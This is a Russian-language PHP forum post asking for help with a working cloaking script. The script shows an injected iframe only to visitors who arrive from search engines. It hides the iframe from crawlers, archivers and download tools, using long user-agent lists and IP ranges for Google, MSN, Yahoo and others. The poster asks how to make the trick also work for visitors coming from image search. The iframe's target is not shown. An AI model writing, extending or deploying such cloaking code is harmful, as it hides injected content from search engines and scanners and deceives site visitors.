Помогите со скриптом

Discussion in 'PHP' started by I love this game, 24 Jan 2011.

  1. I love this game

    I love this game Elder - Старейшина

    Joined:
    23 Dec 2008
    Messages:
    162
    Likes Received:
    37
    Reputations:
    18
    Вот есть немного переделанный клоакинг скрипт, работает если пришел с поисковика то показует оригинальную страницу и ифрейм 'my frame', а если без реферера или бот или ip то показует оригинальную страницу.
    Короче все работает хорошо, но только не получается с картинок гугла и яху, не показует ифрейм, кто может помочь?

    PHP:
    <?php
    $stop_agent 
    = array('Ask Jeeves', 'HP Web PrintSmart', 'HTTrack', 'IDBot', 'Indy Library',
                                   
    'ListChecker', 'MSIECrawler', 'NetCache', 'Nutch', 'RPT-HTTPClient',
                                   
    'rulinki.ru', 'Twiceler', 'WebAlta', 'Webster Pro','www.cys.ru',
                                   
    'Wysigot', 'Yahoo! Slurp', 'Yeti', 'Accoona', 'CazoodleBot',
                                   
    'CFNetwork', 'ConveraCrawler','DISCo', 'Download Master', 'FAST MetaWeb Crawler',
                                   
    'Flexum spider', 'Gigabot', 'HTMLParser', 'ia_archiver', 'ichiro',
                                   
    'IRLbot', 'Java', 'km.ru bot', 'kmSearchBot', 'libwww-perl',
                                   
    'Lupa.ru', 'LWP::Simple', 'lwp-trivial', 'Missigua', 'MJ12bot',
                                   
    'msnbot', 'msnbot-media', 'Offline Explorer', 'OmniExplorer_Bot',
                                   
    'PEAR', 'psbot', 'Python', 'rulinki.ru', 'SMILE',
                                   
    'Speedy', 'Teleport Pro', 'TurtleScanner', 'User-Agent', 'voyager',
                                   
    'Webalta', 'WebCopier', 'WebData', 'WebZIP', 'Wget',
                                   
    'Yandex', 'Yanga', 'Yeti','msnbot',
                                   
    'spider', 'yahoo', 'jeeves' ,'google' ,'altavista',
                                   
    'scooter' ,'av fetch' ,'asterias' ,'spiderthread revision' ,'sqworm',
                                   
    'ask' ,'lycos.spider' ,'infoseek sidewinder' ,'ultraseek' ,'polybot',
                                   
    'webcrawler', 'robozill', 'gulliver', 'architextspider', 'yahoo! slurp',
                                   
    'charlotte', 'ngb' ) ; 

    $stop_ip = array(
            
    "66.249.[6-9][0-9].[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
            
    "74.125.[0-9]+.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
            
    "65.5[2-5].[0-9]+.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
            
    "74.6.[0-9]+.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
            
    "67.195.[0-9]+.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
            
    "72.30.[0-9]+.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
            
    "38.[0-9]+.[0-9]+.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
            
    "93.172.94.227",                // MacFinder
            
    "212.100.250.218",            // Wells Search II
            
    "71.165.223.134",            // Indy Library
            
    "70.91.180.25",
            
    "65.93.62.242",
            
    "74.193.246.129",
            
    "213.144.15.38",
            
    "195.92.229.2",
            
    "70.50.189.191",
            
    "218.28.88.99",
            
    "165.160.2.20",
            
    "89.122.224.230",
            
    "66.230.175.124",
            
    "218.18.174.27",
            
    "65.33.87.94",
            
    "67.210.111.241",
            
    "81.135.175.70",
            
    "64.69.34.134",
            
    "89.149.253.169"
        
    );

    function 
    _xyec($a,$b,$c = false) {
    foreach(
    $a as $d) {
    $d = $c ? preg_quote($d) : $d;
      if(
    preg_match("#$d#i",$b)) return true;
      }
    }

    function 
    _is_okref() {
    if (
    preg_match ('#google|msn|live|altavista|ask|yahoo|aol|bing#i', $_SERVER['HTTP_REFERER'] ) ) {
      if (
    preg_match("#[\?\&](q|p|query|keywords)=([^&]+)#i", $_SERVER['HTTP_REFERER'])) return true;
    }
    }
    if(!empty(
    $_SERVER['HTTP_REFERER'])) {
    if(!(
    _xyec($stop_agent,$_SERVER['HTTP_USER_AGENT'],true) or _xyec($stop_ip,$_SERVER['REMOTE_ADDR'])) and _is_okref()) {
      echo 
    'my_frame'; // or $my_var = 'frame'; ..... echo $my_var;
    }
    }
    ?>